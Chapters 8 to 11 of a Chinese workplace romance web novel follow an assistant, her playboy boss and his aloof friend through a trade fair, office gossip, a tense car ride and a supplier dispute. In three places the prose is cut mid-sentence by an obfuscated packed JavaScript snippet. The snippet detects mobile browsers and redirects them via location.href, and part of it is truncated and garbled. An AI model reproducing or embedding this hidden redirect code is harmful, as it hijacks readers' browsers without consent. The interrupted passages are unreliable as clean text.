其实会议开始之后,梁芝欢很快就不紧张了。毕竟只是展会期间的非正式会议,不涉及具体的商务谈判,大家看上去都很轻松。她只要在笔记本电脑上记录关键内容,以备后续汇总会议记录。 整个上午基本顺利,午间休息时,梁芝欢看见那个穿衬衣西装很好看的人出现在他们展台。 他放松地坐在一把椅子上,仰着头,听坐在桌子上的女人讲话。女人背对着她,但梁芝欢从背影就认出那是沈佳璐。 她早听说公司不赞同办公室恋情,不过毕正只是“借住”在公司办公,并不算公司员工,所以曾经有那么几个主动向他抛送过秋波,可惜全被他一口回绝。 两大极品帅哥,偏偏一个花花公子,一个禁欲高冷,哪个都不好上手。 Sandy戏称毕正脸上写着“女人勿进”,其实要看对着什么人了---比如这位厉害的沈小姐啊,明明靠得很近嘛! 既不高傲,也不冷漠,嘴角似乎还微微上扬…… 8. 08 “你在看什么?”潘柏雷悄无声息凑过来。 梁芝欢连忙摇头,做出一副没什么的样子。 潘柏雷顺着她的视线方向看了看,又转头看了看她。梁芝欢正觉得有点心虚,听他压低声音,神秘兮兮地问:“那两个人是不是聊了很久?” 她刚想说是,又觉得不妥,那岂不是暴露她偷看了很久? “也许吧……” “哪个女人谁?” “沈佳璐呀!”梁芝欢有点惊讶,他居然不认识。 “哦……公司那么多人,我偶尔会想不起来嘛。”潘柏雷辩解一下。 其实,过去两年他来公司的日子屈指可数,而且还是来打酱油,他不认识谁太正常了。但他总不能表现出不如一个入职还不满月的助理吧? “她是市场部的销售经理。”梁芝欢善意提醒他。 “哦,身材还可以……” 听他这么一说,梁芝欢忍不住又看过去。 沈佳璐大概接近一米七零,毕正估计一八五朝上,两个人身高确实挺般配。 她这样想着,也这样说了出来。 “两个人身高很配。” “再多一个道具像不像求婚?” 潘柏雷也是苦中作乐,梁芝欢跟着他低低窃笑起来。那边的毕正似乎有了感应一般,突然朝他们看过来,不明所以的样子惹得两人笑得更欢。 视线中,毕正皱眉瞪了他们一眼,尔后沈佳璐也把头转了过来。梁芝欢跟潘柏雷很默契地调整了坐姿,假装在讨论问题。 就在她隐隐担心当事人找过来究根问底,那边两个人已经各自散开。 后面再没机会见到两人同框。毕正似乎也忙着跟供应商应酬,梁芝欢只偶尔在人群中匆匆捕捉到他的身影。 三天的展会,两天半之后,潘柏雷终于抓狂了。最后一天下午,毕正被他软磨硬泡请来救场。 “下午的会拜托你了。”潘柏雷哑着嗓子,发声都费劲。 “你是开会还是吵架?”毕正挪揄他。 潘柏雷递来一个眼色,梁芝欢连忙把后面的安排表放到毕正手上。 “下午还有六个会,中间有两个在对方展台。” 毕正淡淡看她一眼,垂眸扫过手里的议程表,转向潘柏雷:“这样你也好意思就陪练一个月?” 梁芝欢看见总经理脸部扭曲了一下,然后右手比了一个V形手势。刚以为是胜利,听到毕正斩钉截铁地说:“不行,三个月。” 原来那是二。 讨价还价失败,总经理的脸扭曲得更痛苦。他闷闷地比了一个OK的手势,然后重重叹口气,刚才比手势的手往她面前一摊。 这是问她要糖的动作,梁芝欢秒懂,立刻倒了一粒在他掌中。 俩人之间的默契小动作落入眼里,毕正不自觉扬了扬眉毛。 下午的会,潘柏雷全程收声,梁芝欢坐在毕正旁边,依然记录下他与供应商交流的主要内容。 在对方展台的一个会上,那位经理结束时问她加微信。梁芝欢刚要摸手机出来,毕正跟对方说:“她一个助理不清楚业务,您还是直接联系潘总。” 梁芝欢意外看他一眼,不好说什么,默默停住手上的动作。 最后一场会结束,各家展商已陆续开始撤展。刘应超现身慰问各位同事,笑眯眯地跟大家说辛苦了,等下请大家吃晚饭。 “毕正,你也一起来。”刘应超拍了拍他的肩。 晚饭就定在展馆外的一家粤菜餐厅,一行人三五成群走路过去。刘应超拉着潘柏雷俩人单独一道,梁芝欢跟在几个同事之间。 陆续到了包间,众人分两桌随意入座。毕正和沈佳璐最后进来,自然坐进剩下的两个相邻空位。 明天还要上班,刘应超只要了两瓶红酒,一桌一瓶。每个人杯子里都倒了大半杯-----除了毕正和两个司机。 他说要开车回去。 梁芝欢的酒量有限,就这大半杯喝下去,整个脸也热得不行。 临近散席,她去洗手间洗脸。冲完后还觉得头晕胸闷,便走到餐厅一处露天的地方透气。 只是那边已有三位男同事在抽烟,梁芝欢跟他们完全不熟,自觉还是别过去为好。刚要转身离开,听到他们的窃窃私语。 “潘总好像变了,三天都在见厂商。” “纨绔公子要洗心革面了。” “革命那么容易?业绩又不是见见厂商就能做出来的。” “就是,还不知道公子哥会坚持几天?” 言语间,对于总经理抱有许多质疑。 梁芝欢悄悄挪了挪位置,更好地藏在一处隐蔽的地方。 “听说毕正跟他关系不错。” “那又怎样?他毕竟不是公司员工,就算刘董允许他帮忙,也不会让他涉入太多。” “你们觉不觉得毕正跟沈佳璐走得挺近?” “公司里有人传,说他俩有一腿……” …… 看来不止她一个人发现。 梁芝欢正暗暗咂舌,一转头发现毕正的脸就在身侧,惊得往后靠在了墙上,忍不住小声吐槽:“你干嘛悄无声息站在我后面?” “所以你是‘正大光明’在这里偷听!”毕正回瞪她。 意识到他正是“有一腿”的男主角,梁芝欢偷听他的八卦不免有些尴尬。 也不知道他听到没有? 她又不是存心偷听他的绯闻,谁知道现在男人也爱八卦。 “无聊。” “.......” 腹诽中,毕正冷冷丢下两个字,掉头而去。 梁芝欢太阳穴突突狂跳,搞不清他吐槽的是那三个男人,还是她? * 散席出来,有的人打车,有的人坐公司的商务车。 梁芝欢原本也打算坐商务车到公司,再散步回家,却被总经理拽去蹭毕正的私家车。 “梁小姐好像并不想搭车。”毕正眉头微锁,就差把“不情愿”直白写在脸上。 虽然她也不情愿搭他的车,但也许酒精引发了骨子里的顽劣与反骨,偏就想逼他做不情愿的事。 “怎么会?那就麻烦毕总了。”梁芝欢扯起嘴角,挤出虚浮的笑容。 毕正目光投过来,似是想说什么又忍了回去。看他冷着脸转身去找车,梁芝欢嘴角压不住地上翘。 身后,沈佳璐在跟同事说她家近,打车回去更方便,不坐公司的车。 梁芝欢头昏脑热转过头去:“你要不要坐毕总的车,还有空位?” “不方便吧……”沈佳璐迟疑地看着她旁边的总经理。 潘柏雷无所谓地耸耸肩:“没什么不方便,都是同事。” 这时,毕正的车开过来,梁芝欢和潘柏雷默契地拉开后排车门,先后钻进去。潘柏雷探出半个身子朝站着的沈佳璐招手,她便拉开副驾车门坐了进来。 毕正从后视镜里捉住潘柏雷的眼神,好像在质问“你搞什么”,后者做一个鬼脸。梁芝欢没忍住,幸灾乐祸地裂开嘴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713193|144656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后,毕正也狠狠瞪她一眼。 车内一时十分安静,沈佳璐本想活跃下气氛,潘柏雷推说嗓子不舒服,梁芝欢说喝了酒头晕,两个人各自看两边窗外。沈佳璐也不再跟毕正说话,偶尔给他指一下方向。 她住得的确很近,十分钟就到了。待她下了车,潘柏雷拍了拍前排座椅:“喂,人家的住址你记下来了吗?” “不想下车就闭嘴!”毕正几乎是咬牙切齿的口吻。 潘柏雷乖乖闭上嘴,无奈地对梁芝欢耸了耸肩。他应该是不想被扔下车,梁芝欢偷偷咋舌,这家伙脾气还挺大。 车子安安静静地开到潘柏雷的家,他下车前还不忘绅士地交代一句:“后面的女士就拜托你了。” 梁芝欢从座位左侧挪到右侧,刚好看见毕正面带不悦的脸转过来。 “地址。” 她的脑筋一时没转过弯。 “你家的地址。”毕正的语气有一丝不耐烦。 准确的说,从被迫当司机那一刻开始就已经不耐烦。 梁芝欢赶紧报了地址,然后看见他在设置导航。从后侧面可见的小半边脸上,嘴角抿紧,眉尾微微上扬,仿佛相当地不爽。 她想,刚才他也没问沈佳璐的地址啊,他允许沈佳璐给他指方向、跟他互动…… 尽管知道他们关系非同一般,梁芝欢还是生出一种“被嫌弃”的小情绪,完全没了捉弄的心思。 “我还是打车回去吧,不用麻烦了。” 然而她的手刚放到车门上,车身陡然启动。 “反正已经麻烦了。”前面的人语含讽刺,“如果真心不想给别人添麻烦,一开始为什么要上车?” 梁芝欢被他问得一时语塞。 “本来我不想说,但现在梁小姐既然坐在我的车上,就请收好热衷八卦的心思。” “.......”梁芝欢莫名奇妙。 “沈佳璐难道不是梁小姐带上车的吗?” “梁小姐是不是想再看看我跟她怎么有一腿?” “那天在展台,梁小姐跟柏雷窃窃私语的对象不也是我和沈佳璐吗?” “.......” 梁芝欢脸上被他一连串的质问搞得一阵发红、一阵发白,她居然无力反驳…… 沉默中,她看向后视镜,正好对上里面映射出的犀利目光。 一眨眼,他已经移开视线,目视前方,然后车子飞快地转了一个大弯,她跟着朝左倒去…… 当车身重新沿着直线前行,她听到前面的人用极不客气地语调对她说:“希望梁小姐已经明白我的意思,别那么无聊!” 梁芝欢到底脸皮薄,那禁得住他这番不留情面的口吻?只觉得一股燥热刹那间渗进全身,大脑涨得快要爆开…… 一个急刹,车子停住。 前方路口亮起红灯,梁芝欢从紧咬的嘴唇中蹦出几句话: “对不起……” “很抱歉给你带来困扰……” “以后不会再给你添麻烦。”说完,她猛地推开车门跳了下去。 梁芝欢匆匆走上人行道。走得极快,像是迫不及待想要摆脱刚刚那种又羞又恼的感觉。 而当她离刚才的路口越来越远,愤怒的情绪一点一点由心底渐渐堆积起来。 又不是她在公司传他的绯闻! 她没有对任何人讲过好不好! 而且,这绯闻难道不是他自己招惹出来吗? 明知道有绯闻,还肆无忌惮地出双入对,怪谁啊?? 9. 09 一大早,梁芝欢来到公司楼下的面包店吃早餐。她喜欢这里的三明治加牛奶套餐,不过通常会把牛奶换成热可可。 付好钱在收银台旁边等出餐,传来一道熟悉的声线:“一份三明治套餐。” “请问在这里吃还是打包?” “这里吃。” 不会这么“巧”吧? 梁芝欢偷偷转脸过去,收银台前面站着的不是他是谁? 还真是冤家路窄啊!梁芝欢闷闷不乐地想。 “小姐,你的三明治和热可可。”服务员把她的早点端了上来。 “不好意思,麻烦帮我打包。”梁芝欢临时改变了上二楼吃饭的打算。 训练有素的服务员很快就把打包好的纸袋递给她。 “谢谢!”梁芝欢接过纸袋,转身离开。 余光中,那个身影站在离她不远的地方。她不知道他有没有注意到她。也许跟她一样,即便注意到了也装作没有看见。 展会刚结束,早上开了整整半天的会后总结,每个人都有些疲惫。 中途休息的时候,梁芝欢和Echo先后到茶水间续水。Echo去倒咖啡,她走到另一侧,准备泡一杯菊花茶去去火气。 “Hi,Echo---”一声随和的招呼由门口传来。 咖啡机的位置正对茶水间入口,进来的人第一眼就能看见Echo。 而梁芝欢站的这一边需要走进来才看得见---不过光听声音,她已经知道来的是谁,继续低着头泡自己的茶。 “我刚巧倒好咖啡,毕总请用。” “谢谢!” 还好,她的茶也刚巧泡好。 梁芝欢端着自己的杯子,跟在Echo后面走出茶水间。 这次,连一个余光都没留给那个人。 * 晚上,潘柏雷在公司附近的一家中餐馆请毕正吃饭,说是感谢他展会上拔刀相助。实际上,他那点小心思一点都不难猜。 “就算吃了这顿饭,三个月打球还是不能少。”毕正漫不经心瞥他一眼。 潘柏雷被一语识破小心机,嘴角连抽两下。 “打就打呗,就当锻炼身体。”他无奈地说着,虽然还是很心疼以后每个周六的下午都要“浪费”在球馆。 想到这里,他要了一点酒。 “不开车了?” “没关系,我助理应该在公司,让她开。” “大晚上送你回家,人家还以为你想干嘛。”毕正淡淡地说。 “我?”潘柏雷笑出气音。 “我说过,我没有跟以前的助理搞过暧昧!我又不是那种喜欢染指身边人的花花公子!” “那你请便。”毕正推开他递过来的酒杯,夹了一块鱼放在盘子里。 “你也别开车了,一道送你回去。” “呵,我可不想被人误会。” 潘柏雷稀奇:“怎么会?你看上去又不像乱搞的男人。” “你怎么知道她不是这样想我的?”毕正挑眉。 反诘的口气,一如他此刻挑鱼刺一般认真。 潘柏雷觉出蹊跷。 “我怎么觉得……提到我助理,你的语气有点不爽?” “我们能换个话题吗?今天的鱼,刺很多……” 毕正决定暂时不再碰盘子里那些多刺的鱼,拿勺子舀了几只虾仁放在碗里,一边吃,一边问大少爷认真工作的感觉如何? “不怎么样,都不知道能撑多久。” “你好歹熬过三个月。” “为什么搞得跟试用期一样?” “试用期有一定科学道理,具有普遍适用性。如果三个月之后你还是不喜欢这份工作,那么说明你的确不适合干这个。” 潘柏雷痛苦地皱起眉头:“可是,三个月听起来好漫长……” “刚好,可以陪我打完球。”毕正勾起嘴角。 * 十月的最后一个礼拜,最后一个星期五,梁芝欢第一次参加了公司高管月度会议。 刘董高度评价了总经理在展会期间的努力,梁芝欢伸着脖子偷偷瞄了瞄,可惜坐在后排,看不到总经理脸上的表情。不过听他声音轻快,心里应该很高兴。 下午,梁芝欢收到他的邮件,要她按他给的思路,整理分析事业二部本年度的销售和采购明细。 梁芝欢从头到尾快速浏览一遍,果然Sandy说得没错,事业二部的小产品数量众多、供应商杂乱,而且连客户投诉都是最多。 总经理说下周二就要,可今天已经周五了。梁芝欢的眉头不可避免地打结在一起,内心无比哀怨。 潘柏雷过来问她有没有看到邮件,她焦虑地点了一下头。 “怎么?你不是喜欢做分析吗?” “可是……这个时间有点紧张……” “没办法,周三开会之前我需要这份报告。”他无奈地揉了揉太阳穴。 “刘董把事业二部交给我负责了。” 在梁芝欢略有些惊讶的表情中,他摊了摊两手继续说:“我总不能跟二部开会的时候什么都听不懂、说不出吧?” * 周六中午,梁芝欢还在厨房炒菜,梁芝荣拿着手机晃进来。 “你们看,姐在给我做饭。”他在和爸妈视频连线。 镜头转向她,梁芝欢对着屏幕挥了挥手中的锅铲,笑着跟爸妈打招呼。梁芝荣又用镜头扫过厨房,跟妈妈聊了几句。 “芝芝---”芝荣妈妈在叫,她应了一声。 “芝荣说你工作挺顺利,我跟你爸都很高兴。虽说工作重要,也要照顾好身体。” “我知道,我又不是小孩子了。”梁芝欢微笑面对屏幕。 “放心吧,有我在呢。”梁芝荣的脸挤进镜头。 “芝荣,你要照顾好姐姐。”芝荣妈妈的声音从屏幕里传出来。 “知道了,拜拜。” “可以吃饭了,来盛饭盛汤。”梁芝欢吩咐弟弟。 梁芝荣收好手机,瞥见台面上的红烧排骨,直接用手夹了一块送入口中。 “快把菜都端出去。”梁芝欢催他,同时把锅里的菠菜盛在盘子里。 梁芝荣一手接过盘子,一手端起红烧排骨,语带嫌弃。 “姐,老实讲,你目前的厨艺尚且还不能留住男人的胃。” 梁芝欢抬起手里的长柄汤勺,顺手往他额头敲一记。梁芝荣两手不空,又后退不及,结结实实挨了一勺。 “还有脾气也是---”说完,人赶紧溜出厨房。 梁芝欢端着两碗饭出来,冷声叫他去盛汤。梁芝荣不满地撅起嘴去了厨房,她坐下来休息。 为了这顿饭,买菜做菜,忙活大半天。对于一个平时几乎不做饭的人来说,真心觉得有点不习惯。 “等下碗你洗。” “我难得回来,还被你差使。”梁芝荣皱眉。 “你要是不回来,我今天就不用忙到现在。” “对呀,我要是不回来,你又不好好吃饭了。” “......” “你看你脸都瘦了,平时一定没好好吃饭。” 在吃饭这件事情上,梁芝欢并无太多要求。她也不喜欢花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713194|144656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间、花心思在做饭上。早上随便买点早餐,中午通常是简单的套餐,而晚上在公司加班基本面包、三明治,最多加点水果就行了。 “你这个周末不去见于菲了?”梁芝欢岔开话题。 他点点头:“以后我一个礼拜回来陪你,一个礼拜去陪她。” “少来---”梁芝欢毫不留情戳穿他:“你是不是跟于菲吵架了?” 梁芝荣摇头否认。 “我们这叫给彼此空间。两个人整天腻在一起,很快就会觉得乏味。” “那你们以后结婚了还分开住?” “哇,结婚太遥远了,我们都还没想过。” 弟弟塞了一块排骨在嘴里,把骨头随手放在桌上。 “况且,谈恋爱又不一定要结婚。如果谈恋爱就要结婚,一辈子不就只能谈一次?或者,一辈子要结好几次婚……” “谈了恋爱自然而然就会想到结婚啊。” “我才十九岁,怎么去想三十岁的事情?” 梁芝欢无言反驳。 她第一次跟黄治正儿八经谈恋爱是二十二岁,已经想过二十五岁的时候就嫁给他。看来她跟现在的小孩之间有代沟,而且代沟还不小。 “姐,明天带你去鼓浪屿。”小孩提议。 “我还有工作,恐怕没时间…….” 可是看到弟弟失望的眼神,她又改口:“好吧,我尽量今天多做一点,明天跟你一起去。” 果然,梁芝荣脸上马上多云转晴。 唉,果然还是个孩子。 吃过饭,梁芝欢回到卧室打开电脑,继续分析二部的数据。 隔了一段时间,梁芝荣洗好碗进来,往她的床上一趴,从床上散落的一片纸张中捡起一张A4纸。 “这么多数据,看着就能催眠。” “那你去你房里睡一会。” 梁芝荣把纸丢回床上,躺下玩手机。 “别躺着玩手机。”梁芝欢的小书桌就在床边,只用余光就能看见他。 于是,梁芝荣把枕头竖放,起来靠着床头。 “姐,这份工作是不是很辛苦?”他低着头玩手机,状似随意地一问。 “不会啊……我蛮喜欢。”梁芝欢轻快地敲着键盘。 “周末还让人加班,你老板也太剥削了。” “也不能这么说……他从不靠谱的浪荡公子哥转型成正经总经理,太想做些事情来证明自己……” 梁芝欢很能理解潘柏雷现在的心情。 正好她也可以多学点东西,既是为他工作,也是为自己工作嘛! “你还真会替他着想。”梁芝荣冷不丁的一句话让她没反应过来。 “这种富二代你绝对不能有想法!” “......” 梁芝欢停下敲键盘的动作,扭头看他,他也转脸过来。 “梁芝荣,你想说什么?” 对他的“善意提醒”,梁芝欢感到匪夷所思。 “就是我说的意思。”梁芝荣又低下头继续玩手机,“你的男朋友,我要帮你把关。” 梁芝欢失笑:“小孩子不要管家长的事。” “富二代不适合你。”他不折不挠。 “你想多了……”她又开始敲打键盘,以十分肯定的口气说:“我现在只对工作感兴趣,完全不想找男朋友。” 那边消停一会儿。 “你是不是……还没放下他?”梁芝荣问得小心翼翼,生怕惹她缅怀过去。 梁芝欢手指一顿,对着屏幕沉默片刻。 “你不说,我都快忘了。” 10. 10 周三早上,在去会议室的道上,梁芝欢碰到Sandy。她企图悄悄打听总经理对事业二部的想法。 “你老板怎么想的?”梁芝欢反问她。 “老板没说。不过,我想可能喜忧参半吧。”Sandy凑近她的耳朵,声音放低。 “我们是五个事业部里公司投入资源最少的,现在总经理亲自带,说不定会有转机。不过,潘总毕竟没有经验,我们都有点担心……” 梁芝欢当然明白她的意思。 如果总经理什么都不懂瞎指挥,反而适得其反,让二部变得更糟。 其实梁芝欢现在心里也没数。虽然总经理并不是传说中的“甩手掌柜”,但从他频繁向毕正请教来看,总经理或许真的尚无独当一面的能力。 “担心也没用,先去开会吧。”梁芝欢挽着Sandy的胳膊,一起往会议室去。 总体来讲,与二部的首次交流比较沉闷,因为潘柏雷一开始就让他们自诉问题。 事业部老大张兆杰原本打算好好说说他们做得不错的方面,被总经理这个要求打断之后很是郁闷。 大家轮流发言,陈述自己遇到的问题,潘柏雷在一旁认真地听着,偶尔提两个问题。 梁芝欢则认真地做着记录,感觉这个场面很像一群学生在向老师做自我检讨。 会议结束还不到吃中饭的时间,潘柏雷让她带上整理好的问题、以及二部的分析报告出去吃饭。 “你先去餐厅找毕正,给他看资料,我晚点过来。” “我可不可以不去?”梁芝欢的不情愿明明白白写在脸上。 “你跟他怎么了?”潘柏雷甚是疑惑。 半小时前,他在电话里告诉毕正会带助理过去的时候,那家伙很不爽地问他“干嘛要带助理”,似乎也不情愿跟她吃饭。 直觉告诉他:这两个人有问题。 “没什么……”梁芝欢泄气地把资料塞进包里。 餐厅离公司有一点距离,据说是为了避嫌,毕正不想让人知道总经理找他问公司的事。 足以可见,那天展会后聚餐,他肯定也听到了那些人的议论和八卦。 思绪不自觉飘至搭车那段不愉快的经历,想到又要面对这个人,梁芝欢着实头疼。 走了快二十分钟,终于到达目的地。这是那种看着就知道不实惠的餐厅,绝对不是附近办公楼上班族的午餐选择,反正她不会来这种地方。 一进门,一位服务生立刻迎上来。梁芝欢告诉他,她的朋友已经到了,服务生微笑着说在二楼。 进来之后,梁芝欢才明白为什么服务生知道她朋友在二楼,因为一楼根本没有客人。 餐厅整个装修风格透着一股子老旧美式的颓唐与华丽,通往二楼的旋转楼梯由金属制成。梁芝欢战战兢兢地抓住扶手拾级而上,以防高跟鞋在楼梯上打滑。 二楼也就三四桌客人,梁芝欢很快就看到毕正---虽然他并没有挑靠窗的座位,而是选了一个不起眼的角落。 这次,他抬头看见她并没有意外,应该已经提前知晓。 梁芝欢硬着头皮走过去,毕正勉强扯了扯嘴角,表情僵硬。她也回了差不多的表情,肯定不比他好多少。 梁芝欢心里清楚,经过那天晚上的不愉快,他应该跟她一样,并不想同她坐在一起。 但他是潘柏雷的好友,而她是潘柏雷的助理,所以他们都不得不勉为其难、应付彼此。 一张圆形的桌子,配套的座位一边是半圆形的沙发卡座,另一边摆放了两张独立餐椅。其中一张被他占据,算是打过招呼之后,梁芝欢坐进了卡座---离他较远的一侧。 接着她从包里拿出文档,放到他面前:“潘总让我带给你的。” “先点餐。”他把菜单推给她,语气跟她一样生硬。 梁芝欢翻开餐单,看着略贵的标价,在不清楚谁买单的情况下颇为踌躇。 抬起眼皮,斜对面的人正低头看文件,也不知道是没时间看餐单,还是把点单的任务丢给了她。 梁芝欢咬了咬唇:“你吃什么?我不清楚你的口味。” 他抬起头,清冽的目光直投过来,攫住她的视线。 “不劳费心,你点你自己的。”说罢,抬腕看了看时间,招手叫来服务员。 见他随口报出两份套餐,梁芝欢也草草挑了一份套餐报给服务员。然后他又低下头去,专注地看资料,梁芝欢刷起了手机。 大学同学群里这两天很热闹。班长提议要在元旦办一个同学聚会,不少人响应,所以群里一直在讨论聚会的安排。 她已经很久没在同学群里发声音了,难得现在空闲,就跟大家打招呼。原来一个寝室的室友看见她,雀跃地同她私聊起来。 得知她在厦门某某公司,说下次来玩顺路找她,梁芝欢当然欢迎,给她留了新手机号方便联系。 大群里有人提议回学校食堂,重温记忆中的味道,她和室友就聊起食堂里她最爱的粉蒸排骨。下面一层土豆块,上面一层裹满粉的排骨,蒸得酥烂,吃在嘴里…… 梁芝欢忍不住咽了咽口水,然后听到肚子里发出一个怪怪的声音。 她窘迫地看了看斜对面的人,他仍旧低着头,幸好没被他听到。 过了一会儿,服务员把三份套餐一一端上来,摆满整张桌子。 对面的人还在翻资料,总经理人也还没到。梁芝欢看着面前金灿诱人的南瓜汤,默默地把注意力又转回手机上,偏偏这时不争气的肚子又发出了相同的怪声…… 梁芝欢无比郁闷地抬高手机…… 又过了一会儿,潘柏雷终于匆匆赶到,拉过毕正旁边的椅子一屁股坐下。 “你再不来,有人要饿晕了。”毕正把资料放在一旁,特有所指地说。 潘柏雷看了看他,又看了看她,梁芝欢的脸低得都快埋进南瓜汤里了。 “饿了就先吃,干嘛客气?” “我没想客气,就是没觉得饿。” 毕正慢悠悠地拿起汤勺,看到斜对面的人悻悻地投来一个“你够了”的眼神,心满意足地喝了一口南瓜汤。 潘柏雷的视线再次在两人之间逡巡,探究意味更浓。 “你俩怎么回事?” 梁芝欢默默扒饭,毕正轻描淡写略过:“快吃吧,我下午还有事。” 三人静静吃完饭,叫服务员把桌子收拾干净。毕正把资料拿上来,随口问了一句:“分析报告哪里来的?” 潘柏雷朝梁芝欢努努嘴,脸上颇有些得意。 “怎么样,做得还不错吧?” 毕正似乎有点意外:“想不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713195|144656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁小姐对数据分析还挺在行。” 因为她在研究所三年,做了太多的表格数据分析,但梁芝欢没解释。 她听不出他是客套恭维,还是真心赞赏。就像在展会上说她一个助理什么都不懂,到底真是字面上的意思,还是借口替她挡掉加微信的人。 梁芝欢捉摸不透他,但有一点非常清楚---他的冷淡。 即便他跟总经理交情匪浅,那份友善与热忱都与她无关。就像现在,隔着小小一张桌子,疏离感始终盘桓其中。 在她走神的片刻,对面两个人已经切入正题。 “我大概对你们这个事业二部有了初步了解.......”毕正转脸看向潘柏雷,“看来刘董想磨练你,不亏是亲舅舅。” “别挖苦我。我现在已经非常后悔答应接手二部。” “那你想干嘛?什么都不管玩消失?” 潘柏雷烦躁地抓了抓头,他还真这样想过。 他翻开报告中的某一页,指给他们俩看---那是山东的一家生产厂商,今年的采购持续到八月份就没有了。 “因为环保问题,这家工厂八月停产,一直到现在还没有复产计划。我们的合同还有半年的货没有交,客户那边一直在催,工厂又不肯放半点货,其他渠道也没有补充货源。” 毕正微微颔首:“听上去不妙。” “更不妙的是,刚刚舅舅告诉我,客户要求我们这个月必须给出一个正式回应。要么继续供货,要么终止合同赔钱。他让我去跟工厂沟通,再答复客户。” 潘柏雷脸上露出委屈的表情,凭什么把这个烫手山芋扔给他? 他无比抱怨地摊开手:“说真的,这些麻烦的事情不是应该由下面的人来帮总经理解决吗?” “显然,这个麻烦下面的人恐怕解决不了,所以才需要总经理来……”毕正摸了摸鼻子,“……承担责任。” “你是想说来做替死鬼吧?” 梁芝欢忍不住笑出了声,继而马上意识到这样既不厚道又有所冒犯,于是充满歉意又诚恳地说: “也许刘董觉得下面的人已经竭尽所能、无法挽回,所以才希望由总经理出面,说不定还有一线转机?” “我出面就有转机?舅舅的面子可比我大多了!” “也不一定。”毕正说,“人与人之间的磁场很微妙,说不定你一个新面孔出马,反倒容易打上交道。” 潘柏雷才不信。 别说他舅舅,就是二部经理这么多年经验,难道还比不上他一张新面孔?他们都搞不定,凭什么他可以? “多说无用。”毕正嗓音沉沉,“反正事已至此,硬着头皮你也得上。” “关键怎么上呀,大佬?”潘柏雷叫出港音。 “死棋活下。” “什么意思?”潘柏雷不懂。 梁芝欢弱弱地插嘴:“是不是死马当活马医的意思?” 毕正扬了扬眉:“也可以......这么理解。” 潘柏雷张着嘴,满脸苦色:“那就是希望渺茫......” “也不是完全没希望嘛。”梁芝欢还在给他打气。 “没错。”毕正摸了摸鼻子,习惯性地挑着眉。 “虽然前途一片渺茫,但保有梁小姐的乐观心态也是好事。” 11. 11 十一月初,厦门还相当暖和,但北方已经冷了,而且干燥。梁芝欢往行李箱里硬塞了一件厚外套。 这是她第一趟出差,因为新鲜感而有一丝雀跃。 当飞机还在低空飞行时,她隔着弦窗饶有兴致地看着渐行渐远的城市。而她旁边的总经理却截然相反,还没起飞就开始酝酿睡意。 周三在餐厅跟毕正商量完毕之后,潘柏雷决定周五动身,亲自飞到山东,跟工厂协商合同执行的问题。 毕正根据既往经验,详细分析了几种可能性,并提醒他要在心里把甲乙两方的位置对调。 供应商看似乙方,实际上某些时候扮演的却是甲方角色。比如市场货源紧缺,或者本身长期垄断。 她在旁边默默听完,第一次对“建立安全、可持续供应链与开拓客户同样重要”有了具象化的认识。做贸易采购这行,要用维护客户的心态,去维护好供应商关系。 未来她不会只做数据分析这类基础工作,也不可能永远当助理,于是主动提出想一起去山东。利用此次参与业务的绝佳机会,学习如何与强势供应商打交道, 潘柏雷很好说话,一口答应。除了他们俩,一同前往的还有负责该工厂的采购经理王凯。 经过两个多小时的飞行,飞机降落在济南机场。王凯与工厂联系,得知工厂的车子已经在机场外等候。 一出机场,阵阵冷风迎面吹来,驱走路途倦意。 根据安排,商务车直接把他们送进了工厂。正值午餐时间,他们在食堂匆匆吃了午饭。然后,工厂的副总带领他们在现场转了一圈,再来到会议室,总算见到工厂的大老板。 简单寒暄完毕,工厂副总介绍了目前的情况,王凯也说明了他们的难处与此行目的。 果然如毕正分析,因为八月大片工厂停车整改或者检修,目前市场已经断货,工厂在谈判上完全处于压倒性的主导地位。 双方就交货计划商谈了很久,工厂一直拿停工的不可抗因素当挡箭牌,虽然嘴上说了许多“会大力支持”的话,但实质上没有达成任何可操作协议。 对方大老板明显有些心不在焉,开口说着不痛不痒的废话。 而总经理则是少言寡语,心事重重。梁芝欢看在眼里,想不到任何办法,只有干着急,难道真是一局死棋? 最后,对方大老板似乎再无耐心纠缠,提议结束会议,送他们去酒店稍作休息,晚上再为他们接风洗尘。 “潘总,实在不好意思,我已经尽力了。”刚下车进酒店,王凯向潘柏雷致歉。 毕竟,这个工厂一直由他负责,不论关系维护得好与不好,最后的结果是不好的。 潘柏雷拍拍他的肩,嘴角勉强弯起一抹笑容。 “我知道……晚上继续努力!” 王凯愣住,他补充说道:“努力喝酒。” 王凯反应过来,脸上先是微微一松,旋即五官焦虑地皱在一起。 “这两个山东人都挺能喝的……” 